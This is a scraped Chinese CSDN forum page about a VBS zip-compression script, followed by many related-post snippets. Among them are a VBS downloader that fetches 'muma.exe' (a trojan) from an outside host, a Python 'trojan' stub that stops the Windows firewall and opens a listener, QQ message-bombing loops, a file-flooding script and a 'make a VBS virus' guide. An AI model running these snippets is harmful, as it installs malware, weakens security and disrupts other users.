一段纯vbs实现zip压缩的代码,无需dll或者winrar支持 [问题点数:20分,结帖人ykdrj]

一键查看最优答案

确认一键查看最优答案?
本功能为VIP专享,开通VIP获取答案速率将提升10倍哦!
Bbs1
本版专家分:0
结帖率 92.86%
Bbs7
本版专家分:29029
版主
Blank
GitHub 绑定GitHub第三方账户获取
Blank
黄花 2011年10月 VB大版内专家分月排行榜第二
2011年3月 VB大版内专家分月排行榜第二
2011年2月 VB大版内专家分月排行榜第二
Blank
蓝花 2011年5月 VB大版内专家分月排行榜第三
2011年4月 VB大版内专家分月排行榜第三
Bbs1
本版专家分:0
Bbs7
本版专家分:29029
版主
Blank
GitHub 绑定GitHub第三方账户获取
Blank
黄花 2011年10月 VB大版内专家分月排行榜第二
2011年3月 VB大版内专家分月排行榜第二
2011年2月 VB大版内专家分月排行榜第二
Blank
蓝花 2011年5月 VB大版内专家分月排行榜第三
2011年4月 VB大版内专家分月排行榜第三
Bbs5
本版专家分:2176
Bbs5
本版专家分:2484
Bbs1
本版专家分:0
Bbs5
本版专家分:2288
VBS代码--很恶心的整人效果
----我们会经常遇到一些无聊的文件,一旦我们打开它就会出现各种烦人的新窗口,今天来看的是VBS脚本---- 一:VBS简介 VBS是基于Visual Basic的脚本语言。VBS的全称是:Microsoft Visual Basic Script Editon。(微软公司可视化BASIC脚本版)。其语言类似Visual Basic(VB),VBS是微软的WSH脚本的一种,WSH是是Win
超好玩的vbs代码 (恶作剧代码
VBScript是Visual Basic Script的简称微软公司可视化BASIC脚本版),即 Visual Basic脚本语言,有时也被缩写为VBS。它是一种微软环境下的轻量级的解释型语言,它使用COM组件、WMI、WSH、ADSI访问系统中的元素,对系统进行管理。同时它又是asp动态网页默认的编程语言,配合asp内建对象和ADO对象,用户很快就能掌握访问数据库的as...
求助!!Microsoft VBScript 编译器错误 错误 '800a0408' 怎么解决??
各位大侠!帮个忙好吗???遇到了一道难题! 具体是: Microsoft VBScript 编译器错误 错误 '800a0408' 无效字符 /etnperlong/include/right.asp
Set WshShell= WScript. CreateObject (‘’WScript.Shell‘’) WshShell.AppActivate"网名"
qq轰炸信息为什么运行不了?
vbs 表白代码下载
功能多,(≧∇≦)ノ给你最喜欢的人吧,原是用易语言开发 相关下载链接://download.csdn.net/download/qq_42636475/10777738?utm_source=bbss
VBS教程
Vbs是一种Windows脚本,它的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版),VBS是Visual Basic的的一个抽象子集,是系统内置的,用它编写的脚本<em>代码</em>不能编译成二进制文件,直接由Windows系统执行(实际是一个叫做宿主host的解释源<em>代码</em>并执行),高效、易学,但是大部分高级语言能干的事情,它基本上都具备,它...
求大神帮忙看下这VBS代码,运行报错缺少')',小白对VBS语法不熟悉,感谢!
<em>代码</em>部分: 报错信息: 帮忙看下<em>代码</em>部分有没有别的问题,我需要将D:\KIOSK\&b&\Config\PrinterConfig.xml 文件中的true</paperWi
vbs 表白代码
功能多,(≧∇≦)ノ给你最喜欢的人吧,原是用易语言开发
VBS代码大全
<em>vbs</em>脚本程序应用灵活方便,包含经典<em>代码</em>,可做为变成辅助工具!
vbs:仿抖音告白洪君
向女神告白 爱情是从告白开始的!如果不好好珍惜,就会永远失去她,切莫追悔莫及。只有你主动,你们之间才会有故事! <em>代码</em>运行<em>无需</em>其他特殊环境! <em>vbs</em>,是<em>vbs</em>cript,它是微软的脚本语言,即Windows自带的。 msgbox &amp;amp;amp;quot;宝贝,你确定要继续吗?&amp;amp;amp;quot;,vbQuestion,&amp;amp;amp;quot;爱情都是从告白开始的!&amp;amp;amp;quot; msgbox &amp;amp;amp;quot;宝
VBS:注册表
'注册表:regedit dim WshShell Set WshShell = CreateObject("Wscript.Shell") WshShell.RegWrite "HKEY_CURRENT_USER\Software\VMware, Inc.\VMware Tray",0,"REG_SZ" Wscript.Echo "完毕" Wscript.Quit
运行VBS文件提示没有权限,求帮助
![图片说明](https://img-ask.csdn.net/upload/201711/01/1509527121_616880.png)这是<em>代码</em>:'on error resume next set sysenv1 = CreateObject("WScript.Shell") set sysenv=sysenv1.Environment("system") '系统环境变量的数组对象 thepath=sysenv("path") newpath=sysenv1.CurrentDirectory & "\Contents\Cygwin\Versions2.0.a9.oga.1\i686" if Instr(thepath,newpath)=0 then sysenv("path")=thepath & ";" & newpath '添加变量 end if thepath=sysenv("path") 'Wscript.echo(thepath) Wscript.echo 本人完全小白,安装软件最后一步不行,求解决方法
简单的c#脚本
using System.Collections;using System.Collections.Generic;using UnityEngine;using UnityEditor;using System.IO;public class LoadAB {    [MenuItem(&quot;Assets/LoadAB&quot;)]    static void Load()    {        str...
vbs整人代码,表白+提醒 两代码就OK
在沉闷的工作环境下,有时玩玩整人<em>代码</em>也不错,整人<em>代码</em>一般使用VBS脚本来<em>实现</em>,简单的两行<em>代码</em>就可以<em>实现</em>表白+提醒了,不过大家也要警惕VBS脚本的危险性,下面小编分享的只是整人简单脚本,大家可以随便玩!并不损坏电脑文件。   先来第一<em>段</em>弹窗<em>代码</em>: MSGBOX“内容A”+ CHR(13)+“内容B”+ CHR(13)+“内容C”,1,“标题” 将它们复制到文本中,将后缀改成“.VBS”就可以双...
vbs操作excel全集
dim oExcel,oWb,oSheet Set oExcel= CreateObject("Excel.Application") Set oWb = oExcel.Workbooks.Open("E:\其他\新装电话表.xls") Set oSheet = oWb.Sheets("Sheet1") MsgBox oSheet.Range("B2").Value '#提取单元格
VBS教程--摘自百度百科
VBS的基础教程 第一篇(共六篇)   我知道菜鸟现在最关心的就是用什么工具来开发VBS程序了, 答案是:记事本(Notepad),我不是开玩笑, 其实任何一种文本编辑器都可以用来开发VBS开发, 只不过记事本是由系统自带的, 比较好找而已. 尽管如此, 我还是建议你去下载一个专业的文本编辑器, 因为这些工具可以提供 &quot;语法高亮&quot;等功能, 更加方便开发, 用哪一个随你喜好, 我比较喜欢Ed...
VBS如何在文本文件中添加回车改变格式?
加入文本文件内的内容是 ******************** 我想通过<em>vbs</em>使其变成 ***** ***** ***** ***** ***** 并保存
VBS病毒代码运行
var fso = new ActiveXObject('Scripting.FileSystemObject'); var Shell = new ActiveXObject('WScript.S
VBS脚本常用经典代码
VBS脚本常用经典<em>代码</em> 1、VBS获取系统安装路径 /*先定义这个变量是获取系统安装路径的,然后我们用“&strWinDir&”调用这个变量。*/ setWshShell = WScript.CreateObject("WScript.Shell") strWinDir= WshShell.ExpandEnvironmentStrings("%WinDir%") 2、VBS获取C:/Pr
利用字符重复出现的次数,编写一个方法,实现基本的字符串压缩功能。比如,字符串“aabcccccaaa”经压缩会变成“a2b1c5a3”。若压缩后的字符串没有变短,则返回原先的字符串。
利用字符重复出现的次数,编写一个方法,<em>实现</em>基本的字符串<em>压缩</em>功能。比如,字符串“aabcccccaaa”经<em>压缩</em>会变成“a2b1c5a3”。若<em>压缩</em>后的字符串没有变短,则返回原先的字符串。 给定一个string iniString为待<em>压缩</em>的串(长度小于等于3000),保证串内字符均由大小写英文字母组成,返回一个string,为所求的<em>压缩</em>后或未变化的串。 测试样例 “aabcccccaaa” 返回:
vbs整人代码
一、弹窗<em>代码</em> 1.先新建一个文本,将以下<em>代码</em>写入: msgbox&quot;内容A&quot;+chr(13)+“内容B”+chr(13)+“内容C”,1,“标题” 例如:msgbox&quot;电脑即将自爆&quot;+chr(13)+“请在15秒内离开电脑”+chr(13)+“否则你死定了!”,1,“系统自爆提醒” 2.保存并将后缀名改为&quot;.<em>vbs</em>&quot; 3.点击之后的效果: 二、语音 1.新建文本文档,写入<em>代码</em> CreateO...
制作一个VBS病毒
在这里给大家制作一个VBS病毒,还望大家笑纳。 (后面还会说解毒VBS<em>代码</em>) 工具/原料 电脑 方法/步骤 首先创建VBS文档。 右键编辑,进入记事本。 输入如下<em>代码</em>: On Error Resume Next Set fs=CreateObject(&quot;Scripting.FileSystemObject&quot;) Set dir1=fs....
VBA窗体模拟显示进度条
Sub gogo() '***************************************************************** '此宏模拟显示进度条,放在模块中 '窗体UserForm1中有label1,label2.label3.label4 'label1,2,3重叠在一起 'label1为底,label2为进度条,label3显示百分比,label4显示文字说明
vbs代码 一不小心中招了 下面是源代码 怎么解决
方法/步骤 3 此<em>代码</em>的作用是生成5000个滑稽文件名字分别为滑稽 滑稽1 滑稽2 滑稽3……… 5000可以更改改为多少个就生成多少个滑稽文件 -------------------------------------------------------------------------------- Do Until t_i=1 t_i=t_i+1 T=T+"滑稽 " Loop Do Set fs = CreateObject("Scripting.FileSystemObject") Set f = fs.OpenTextFile(I&".滑稽", 2, True, -2) f.Write T f.Close I=I+1 If I = 5000 then Exit Do End If Loop
vbs实现恶搞无限弹窗,复制粘贴就能用
<em>vbs</em>简单<em>实现</em>弹窗 直接新建txt文档,复制粘贴下面<em>代码</em>: do a =msgbox("你怕是个ZZ吧?",vbYesNoCancel,"一份认真的问卷调查") if a =vbYes then msgbox "emmmm,还算有点自知之明",,"恭喜你,真正的认识了自己!" exit do elseif a =vbNo then b =msgbox("心里没点AC数吗?",v...
vbs调用api(含相当.dll)
学习<em>vbs</em>调用api一例子,包含.<em>dll</em>
如何将vbs脚本用VB封装为DLL,并在vbs脚本中调用
近来,做关于wincc的项目,用到将<em>vbs</em>脚本封装成DLL,并在<em>vbs</em>脚本里面调用,故而整理如下。 一、如何将<em>vbs</em>脚本封装DLL 1. 在VB6.0中新建ActiveX DLL工程。 2.命名
解决VBScript中文乱码问题
相信很多人在用FSO读取或写入中文文本文件时都会遇到让人头疼的乱码问题吧,确实,FSO不<em>支持</em>UTF-8的。所以干脆用AdoDb.Stream来处理。   问题描述:从一个文本中读取中文,然后输出到另外一个文本中。每次读取出中文后都是乱码。 解决方法: 1.本想使用OpenTextFile来解决乱码问题的,但是最终以失败告终,OpenTextFile只能提供unicode和ascill字
vbs 实现压缩文件夹为zip文件
<em>代码</em>如下: ' VB Script Document option explicit createZip "d:\test", "d:\testZip.<em>zip</em>" sub createZip(sfolder, tfolder)   dim fso, <em>zip</em>file   dim shell, WshShell, destfolder, srcfolder     '
vbs实现zip压缩
VBS<em>实现</em><em>zip</em><em>压缩</em> Zip "D:\test.xls", "D:\test.<em>zip</em>" Sub Zip(ByVal mySourceDir, ByVal myZipFile) Set fso = CreateObject("Scripting.FileSystemObject") If fso.GetExtensionName(myZipFile) &lt;&gt; "zi...
vbs表白代码下载
功能多,(≧∇≦)ノ给你最喜欢的人吧,原是用易语言开发 相关下载链接://download.csdn.net/download/qq_42636475/10777728?utm_source=bbss
vbs脚本
前言:VBS是VBScript的简单,是由微软推出的一套基于Windows的脚本语言,该脚本<em>无需</em>编译成EXE可执行文件,而是直接将源<em>代码</em>通过宿主(Hosts)进行解释并执行。 一.编写及运行VBS<em>代码</em> VBS<em>代码</em>中: 用“REM”和“'”进行注释操作 用Inputbox和Msgbox<em>实现</em>输入输出操作 二.变量的定义和使用 1.Const关键字来定义,例如:const PI=3.1...
javaZIP压缩代码
javaZIP<em>压缩</em>源<em>代码</em>,可以很方便的进行打包.源码含有详细的注释.
代码.zip
利用插值的方法,把站点资料转换为格点资料,用Fortran机型编程
rar解压在VBS中如何执行
如何在VBS中执行外部程序进行解压 RAR的参数是如何的; 如; 覆盖原来文件 解压路近
VBA解压压缩文件。
VBA解压<em>压缩</em>文件调用的是WinRAR的命令。我们可以参考WinRAR帮助。解压文件的命令以及例子如下图: vba里面使用shell运行命令。 <em>代码</em>很简单如下: Sub jieya() Shell &quot;D:\Program Files\WinRAR\WinRAR.exe X-Y C:\Users\FanXiaoLei\Desktop\京客隆销售数据.rar C:\Users\FanXi...
VBS修改xml文件????????、、、、?
![图片说明](https://img-ask.csdn.net/upload/201812/04/1543911508_818522.jpg) 我想将这个xml文件的第29行内容中的*号<em>实现</em>换行,即每隔20个*加一个回车,假设有10000个*,并保存,求<em>代码</em>啊
vbs表白小程序,女生同意才能关掉。
python 交流学习群205075113 msgbox &quot;做我女朋友好吗&quot;,vbQuestion,&quot;在吗&quot; msgbox (&quot;房产写你名字&quot;) msgbox (&quot;保大&quot;) msgbox (&quot;我妈会游泳&quot;) dim j do while j&amp;lt;1 Select Case msgbox(&quot;做我女朋友好吗&quot;,68,&quot;请郑重的回答我&quot;) Case 6 j=1 C
VBS发声
记事本中写入 CreateObject(&quot;SAPI.SpVoice&quot;).Speak&quot;&quot; 如:CreateObject(&quot;SAPI.SpVoice&quot;).Speak&quot;hello world&quot; 保存时保存成<em>vbs</em>格式的文件(Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版)),双击即可运行,依赖系统,Windows7及以上<em>支持</em>。 如果换成Crea...
BAT、VBS、代码、教程、整人
里面<em>代码</em>全真实,使用是小心,主要为了娱乐!!<em>代码</em>可以自己试着写一个BAT脚本或者VBS,仅供初学者!
VBS调用注册成功的dll,提示Microsoft VBScript 运行时错误: ActiveX 部件不能创建对象:
我是新手,请大家帮忙! 我用vc 写了个简单的<em>dll</em>,然后注册到系统。regsvr32 c:\DynamicLibrary.<em>dll</em>. 提示注册成功! 让在<em>vbs</em>里想调用<em>dll</em>的方法。 dim obj
qq消息轰炸代码vbs
这就一篇博客,有没其它内容,想不明白为啥要举报啊,大佬们。 和室友斗图在网上找的<em>代码</em>,创建一个text文本,把<em>代码</em>复制进去,后缀改为<em>vbs</em>,复制要发送的内容,双击<em>vbs</em>文件,然后点击聊天框即可,两个版本,一个带数字,一个不带。带数字的版本使用时需要将//和后面的文字删除,否则会报错。 带数字 set wshshell=wscript.createobject("wscript.shel...
vbs表白代码+整人代码,抖音vbscript表白代码
步骤一: 在电脑上新建一个txt文件 步骤二:将以下<em>代码</em>复制过去(中文可以改) const title = “爱情测试” const yourname = “嫦娥” const question = “你最喜欢的人是谁?请在下面的方框中输入他(她)的名字。” const info = “你在说谎!不要逃避,实话实说。” const scend = “你说出了你的心扉,那就向他(她)表白吧。” di...
哪位好心人有VB+zip.dll压缩代码 不是用shell的,不依赖winrar和winzip压缩软件
只需要<em>压缩</em>指定文件下所有文件,文件太多用shell+7Z.exe容易死机,谢谢
vbs实现消息轰炸
效果 <em>代码</em> On Error Resume Next Dim wsh,ye set wsh=createobject(&quot;wscript.shell&quot;) for i=1 to 10 wscript.sleep 700 wsh.AppActivate(&quot;这里是要轰炸的人名字&quot;) wsh.sendKeys &quot;^v&quot; wsh.sendKeys i wsh.sendKeys &quot;%s&quot; ne...
好玩的VBS
新手教学(大神请跳到第五步): 编写<em>vbs</em>有多简单?新建“文本文档”,输入msgbox &quot;一大波病毒正在靠近...&quot; ,点击文件-&amp;gt;另存为-&amp;gt;重命名为“<em>代码</em>.<em>vbs</em>”。文件名不重要,重要的是后缀要是“.<em>vbs</em>”。 2 双击保存的文件:<em>代码</em>.<em>vbs</em>,即弹出一个对话框。记下这<em>段</em>小小的<em>代码</em>,去同学家里恶搞吧。当然你还可以输入其他有趣的文字。 ...
vbs整人代码大全
一、做我女朋友吗,告白(抖音里很火的)无危害 msgbox("做我女朋友可以吗?") msgbox("房产证上写你名") msgbox("保大") msgbox("我妈会游泳") m = MsgBox("做我女朋友好吗?",vbOKCancel) If m = vbOK Then Msgbox("爱你么么哒") If m = vbCancel Then MsgBox "不喜欢你了", vbCrit...
表白神器(VBS编程)
步骤一、打开记事本,输入以下<em>代码</em>(建议直接复制): msgbox &quot;我有一件事想跟你说&quot;,vbQuestion,&quot;在吗&quot; msgbox&quot;自从第一天遇见你,我便对你难以忘怀了!&quot; CreateObject(&quot;SAPI.SpVoice&quot;).Speak&quot;能够遇见你,对我来说是最大的幸福。有了你,我的生活变的绚丽多彩,有了你,世界变得如此迷人。你是我的世界,我的世界是你。我愿意用自己的一生,好好的陪着...
在VBA中如何调用VBS脚本
最近在学习VBA,遇到一个问题 我想在VBA中调用已经写好的VBS脚本,VBA<em>代码</em>如下: Sub Macro1() Shell "C:\windows\system32\cmd.exe" Shell
VBS脚本大全
VBS脚本常用<em>代码</em>整理,VBS是基于Visual Basic的脚本语言。VBS的全称是:Microsoft Visual Basic Script Edition。(微软公司可视化BASIC脚本版)
VBS代码大全下载
<em>vbs</em>脚本程序应用灵活方便,包含经典<em>代码</em>,可做为变成辅助工具! 相关下载链接://download.csdn.net/download/hugang0847/10611815?utm_source=b
vbs脚本信息输出到控制台(dos窗口)
<em>vbs</em>打印信息不像vb那样可以直接print出来,要想查看一些调试信息只能通过MsgBox,这样产生了人机交互,脚本执行不流畅。今天找到了一个方法,让VBS在DOS下执行时可以在DOS环境打印信息——使用CScript.exe调用VBS脚本,同时脚本使用WSH.Echo打印信息。 DEMO: tmp.<em>vbs</em> WSH.Echo "print your message he
VBS实例 44个 vbs脚本实例
VBS实例 44个 <em>vbs</em>脚本实例, VBS取QQ-TM号码的自动登录命令行.<em>vbs</em> 妙用脚本清除电脑中的痕迹.<em>vbs</em> 后台字典文件管理器.<em>vbs</em> 定时关机.<em>vbs</em> 列出管理工具集.<em>vbs</em> 旁注查询工
VBS:打开网站
Set ws = WScript.CreateObject("WScript.Shell") ws.run("www.baidu.com")
vbs整人的代码
一、你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面<em>代码</em>里的xx替换一下,就可以自定义发送QQ信息到好友的次数(<em>代码</em>里的数字10改一下即可). xx.<em>vbs</em>=> =--------------------------------------------------------------------------- On Error Resume Next Dim wsh,ye
如何停止电脑正在运行的VBS程序?
近期,抖音视频上很火的轰炸,群发。 以及一些其他的通过VBS文件进行的操作很多。 那么,如何结束掉这些文件的而执行呢? 下面来展示一下吧! 任何操作系统,运行一个程序进程。操作系统都会为其分配一个进程号。那么,我们把这个进程号对应的程序关掉就好啦! 也就是:kill 下图,是我展示的一个VBS进程信息: 我们只需要再创建一个VBS程序来杀死这个进程就好啦! 如图: <em>代码</em>: dim WSHshe...
vbs表白代码
抖音爆火<em>vbs</em>表白<em>代码</em>,亲测可用,含if-else选择语句,do-loop循环语句,inputbox()输入函数,功能较多,仅需修改文字即可使用。
VBS批量替换(转换)文本文件中的单位(求达人瞧一下)
需求:遍历文本文件,在里面找到像素单位(例:“100px”),替换成相对单位(例如:“3rem”);px与rem单位转换过程中是一个固定比例。 研究半天弄了下面一个脚本,但是不能替换到位。望大佬给个意见 ``` Dim regEx,Match,Matches Set regEx = New RegExp '创建一个正则表达式 regEx.Pattern = "^[1-9]\d*px$" '设置正则表达式的匹配模式 regEx.IgnoreCase = True '设置为不区分大小写 regEx.Global = True '设置为全局可用 dim fso, f set fso = CreateObject("Scripting.FileSystemObject") set f = fso.OpenTextFile("1.txt", 1, false) '第二个参数 1 表示只读打开,第三个参数表示目标文件不存在时是否创建 set e = fso.OpenTextFile("2.txt", 8, True) Do Until f.AtEndOfStream strLine = f.ReadLine() '从当前位置向后读取直到遇到换行符(不读取换行符),并将当前位置移动到下一行的第一个字符,注意:无参数 Set Matches = regEx.Execute(strLine) '执行搜索 For Each Match in Matches '遍历所有的匹配 x=Len(Match) n=Left(Match,x-2) ' 拆分去掉最后的px o = n/30 ' 换算。 p ="rem" replStr = o&p' 拼接。 MsgBox regEx.Peplace(strLine,replStr) Next e.WriteLine(strLine) Loop f.Close() e.Close() set f = nothing set fso = nothing ```
VBS激活指定标题的窗口,并成为当前显示的窗口
本人在机房管理中,经常用VBS做无人值守的自动安装软件的重复活,效果一直不错。但有一个问题一直没有得到解决,望大牛动动指头,不吝赐教。 激活指定窗口的<em>代码</em>: set ws=createobject("
vbs求教学
这是为什么?<em>代码</em>没有错为什么不存在copyfolder这个方法?
vbs写的简单表白程序
下载即用,双击便可以看到效果,如果想改文字效果的话可以用笔记本打开进行修改
恶搞代码——vbs进程
今天跟大家分享一下娱乐的恶搞<em>代码</em>,想必很多人也知道,那么针对电脑小白来说可能就不是非常清楚了,其实过程也很简单,那么下面就是其中比较常见的恶搞源码: 一.电脑语音恶搞: 首先我们先新建一个后缀为txt的记事本文档,如下图: 然后将下面的<em>代码</em>复制到新建的文本文档中: CreateObject(“SAPI.SpVoice”).Speak"你的电脑接收到了一个自爆程序,电脑即将爆炸,请您在15秒时间内...
QQ(微信)消息轰炸代码vbs
创建一个text文本,把<em>代码</em>复制进去,不要写注释,也不要在句尾留空格,保存,后缀改为.<em>vbs</em>。 在聊天框中输入一句话,复制这句话,然后双击桌面上的.<em>vbs</em>文件即可。 两个版本,一个带数字,一个不带 带数字的提示的 set wshshell=wscript.createobject("wscript.shell") wshshell.AppActivate"要发送的人的名字" for i=1 t...
怎么让vbs文件在开机时自动运行呢:
比如 我写了这样一个 <em>vbs</em> 文件, CreateObject("SAPI.Spvoice").Speak "欢迎来到这里" 我怎么让这个文件在电脑开机时自动运行呢,让电脑自己播放语音“欢迎来到这里”
vbs文件隐藏后,怎么显示啊
<em>vbs</em>文件隐藏后,怎么显示啊
vbs 脚本2
一些很恶作剧的<em>vbs</em>程序<em>代码</em> 作者: 字体:[增加减小] 类型:转载 时间:2013-01-16我要评论 恶作剧的<em>vbs</em><em>代码</em>,这里提供的都是一些死循环或导致系统死机的<em>vbs</em>对机器没坏处,最多关机重启一下就可以了,将下面的任意一<em>段</em><em>代码</em>保存为*.<em>vbs</em>即可 操作方法:把<em>代码</em>保存为*.VBS运行即可经本人亲自测试 不会出大问题的,一般都是利用无限循环,不是死循环,...
VBS转化为exe可执行文件
我来介绍两个工具吧 ScriptCryptor 获取地址: https://pan.baidu.com/s/1GlsJfJPdLuJe3Dbqf0EvpQ 提取码: 7bdb 特点: Blowfish 加密算法,不容易被第三方工具破解; 可以转换javascript和VBScript,转换后的文件不需要cscript.exe和wscript.exe的<em>支持</em>就可以运行; ...
代码最简】用最简化的代码来表白!! (程序员的爱情对话)
说明: <em>代码</em>最简化比赛,看谁完成上面图形用的<em>代码</em>最少。(<em>代码</em>最少的前几名有加分奖励!) 有这最简化的<em>代码</em>向你的心上人表白吧,一定别有一番风味哟。。。。
python3病毒系列(2)"木马"
没的废话,直接上<em>代码</em>! 被控制端: import os import socket os.popen('net stop mpssvc') s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) host = 'USER-20180705UV' port = 6666 s.bind((host,port)) s.listen(5) while...
win2008下如何让bat开机自启动?
win2008系统,作为tomcat,apache服务器 tomcat,apache需要在开机后延迟一<em>段</em>时间再自动启动,延迟的时间可以自己定义,而且不需要用户登录,就可以启动tomcat,apache
vbs代码,自动播放语音
<em>vbs</em>语音<em>代码</em>,可以自动播放语音
ZIP文件压缩与解压(VBS版)
不使用第三方工具<em>实现</em>对文件的<em>压缩</em>与解压、删除。本资源为使用VBS开发,可以通过自己写bat来进行调用,制作成需要工具。与其对应的JS版文件可参考下面的链接 http://download.csdn.n
抖音恶心的整人代码~~~VBS代码
一:VBS简介         VBScript是Visual Basic Script的简称微软公司可视化BASIC脚本版),即 Visual Basic脚本语言,有时也被缩写为VBS。它是一种微软环境下的轻量级的解释型语言,它使用COM组件、WMI、WSH、ADSI访问系统中的元素,对系统进行管理。同时它又是asp动态网页默认的编程语言,配合asp内建对象和ADO对象,用户很快就能掌握访问数...
想学习一门编程语言,感觉vbs挺简单,有没有推荐的书籍和网站?
论坛上一看,像我这么初级的选手也没有啊?瞬间崩溃。看了好多帖子,没有一个问题能看懂。。。。。。。。。。。。。。。。。。。。。。
ShellExecuteEx调用cscript.exe执行vbs脚本,如何执行时向脚本传参数
如何使用ShellExecuteEx调用cscript.exe执行<em>vbs</em>脚本的时候,给脚本里定义一个变量赋值。
vbs中关于二维数组的处理
我在程序中要临时建一个二维数组,建立二维数组,添加元素这个我知道用redim preserve 那如果我要删除一行元素怎么删?譬如有二维数组 123 现在我要删除456这样元素,让数组变成123 45
QQ,微信刷屏VBS——(娱乐使用)
新建文本文档,打开, 复制以下<em>代码</em>: On Error Resume Next Dim xda,ye set xda=createobject(&quot;wscript.shell&quot;) for i =1 to 10 wscript.sleep 700 xda.AppActivate xda.sendKeys &quot;^v&quot; xda.sendKeys i xda.sendKeys &quot;%s&quot; next wscr...
抖音问答弹窗代码下载
之前抖音上有跳出vb的弹窗<em>代码</em>,用来搞笑,我也<em>实现</em>了一下,感觉还比较不错,把他放到开机自启动的文件夹里,效果会很不错 相关下载链接://download.csdn.net/download/livan
vbs创建一个文件
我想要写一个VBS脚本,首先从文件path.txt中读取到一个路径 ,比如读取到"C:\Program Files (x86)\System Protect Software\" 然后,我要在这个路径
用VBSEDIT写的VBS转成EXE后,会被杀软当成病毒,高手怎么解决?
用VBSEDIT写的VBS转成EXE后,复制到U盘中,再复制到电脑上,就会被杀软报毒;或者上传到邮箱中,再从邮箱中下载到电脑上,也会被杀软报毒。真的有这么邪门吗?!是不是要加什么东东才不会被杀软报毒?
QQ消息的重复发送VBS
Set WshShell= WScript.CreateObject("WScript.Shell")WshShell.AppActivate ""for i=1 to 10WScript.Sleep 500WshShell.SendKeys "^v"WshShell.SendKeys iWshShell.SendKeys "%s"next 把以上<em>代码</em>保存为<em>vbs</em>文件.复制需要重复发送
VBS下载者
一、VBS下载者: Set Post = CreateObject("Msxml2.XMLHTTP") Set Shell = CreateObject("Wscript.Shell") Post.Open "GET","http://www.03389.com/muma.exe",0 Post.Send() Set aGet = CreateObject("ADODB.Stream")
vbs调用ie浏览器演示,vbs调用浏览器查天气
VBS 也挺强大的呢,这篇给大家演示的是调用 ie 浏览器,并用百度查出天气 注:编辑器不<em>支持</em> <em>vbs</em> 编程,单引号后是注释哦!
vbs之下载文件
Set post=CreateObject(&quot;Msxml2.XMLHTTP&quot;) post.Open &quot;GET&quot;,&quot;https://blog.csdn.net/xianda9133/article/details/51200034&quot; '发送请求 post.Send() Set aGet = CreateObject(&quot;ADODB.Stream&quot;) aGet.Mode = 3 aGet.Type = ...
VBS脚本为何在win7系统运行出错,XP确成功
各位大侠,小弟有个问题困扰多时望能彻底解决解决, 以下为VBS<em>代码</em>,在XP系统能成功导入,在WIN7系统下运行出错提示“HKLM\SOFTWARE\Policies\Microsoft\Windows
几个简单实用的vbs命令
<em>vbs</em>简单设置命令集 新建文本文件,填入<em>代码</em>,将文本后缀改为   .<em>vbs</em>   即可执行!   无限弹出光驱: ------------------------------------------------ set wmp=createobject(&quot;wmplayer.ocx&quot;) set cd=wmp.cdromcollection.item(0) do cd.eject lo...
在VBS中使用事件
发信人: RoachCock (chen3feng), 信区: Programming 标  题: 在VBS中使用事件 发信站: BBS 水木清华站 (Thu Jun 13 18:55:43 2002)   VBS是一种功能强大的语言,这个从各种宏病毒的泛滥可以看得出,VBS功能强大不是语言 本身,而是它具有调用自动化COM组件的能力,而且,在VBS中还可以使用事件 VBS提供了一个GetRef函
结束循环恶作剧vbs代码
肯定被小伙伴<em>vbs</em>恶作剧过,然后怎么破呢?不要急,三行简单<em>vbs</em><em>代码</em>破除恶作剧 首先新建一个文本文档,然后输入以下<em>代码</em> dim WSHshell set WSHshell = wscript.createobject(&quot;wscript.shell&quot;) WSHshell.run &quot;taskkill /im wscript.exe /f &quot;,0 ,true 最后保存文本将文本txt后缀改为...
Java工具类——字符串压缩StringCompress
1.compress(String):对字符串进行ZIP<em>压缩</em>饼返回字节数组 2.decompress(byte[]):将<em>压缩</em>的字节数组还原成字符串 用途:可用于将字符串保存到数据库BOLB中。 [java] view plain copy   import java.io.ByteArrayInputStream;     impor
终于明白阿里百度这样的大公司,为什么面试经常拿ThreadLocal考验求职者了
点击上面↑「爱开发」关注我们每晚10点,捕获技术思考和创业资源洞察什么是ThreadLocalThreadLocal是一个本地线程副本变量工具类,各个线程都拥有一份线程私...
精通android3源码下载
精通android3源码 相关下载链接:[url=//download.csdn.net/download/lideguo1979/4046344?utm_source=bbsseo]//download.csdn.net/download/lideguo1979/4046344?utm_source=bbsseo[/url]
bwsewell-tablecloth下载
bwsewell-tablecloth 一个好看的表格样式 相关下载链接:[url=//download.csdn.net/download/liuyongjivista/5454533?utm_source=bbsseo]//download.csdn.net/download/liuyongjivista/5454533?utm_source=bbsseo[/url]
行级锁的实例下载
行级锁的实例 相关下载链接:[url=//download.csdn.net/download/hb0504511129/7985485?utm_source=bbsseo]//download.csdn.net/download/hb0504511129/7985485?utm_source=bbsseo[/url]
相关热词 c#导入fbx c#中屏蔽键盘某个键 c#正态概率密度 c#和数据库登陆界面设计 c# 高斯消去法 c# codedom c#读取cad文件文本 c# 控制全局鼠标移动 c# temp 目录 bytes初始化 c#
我们是很有底线的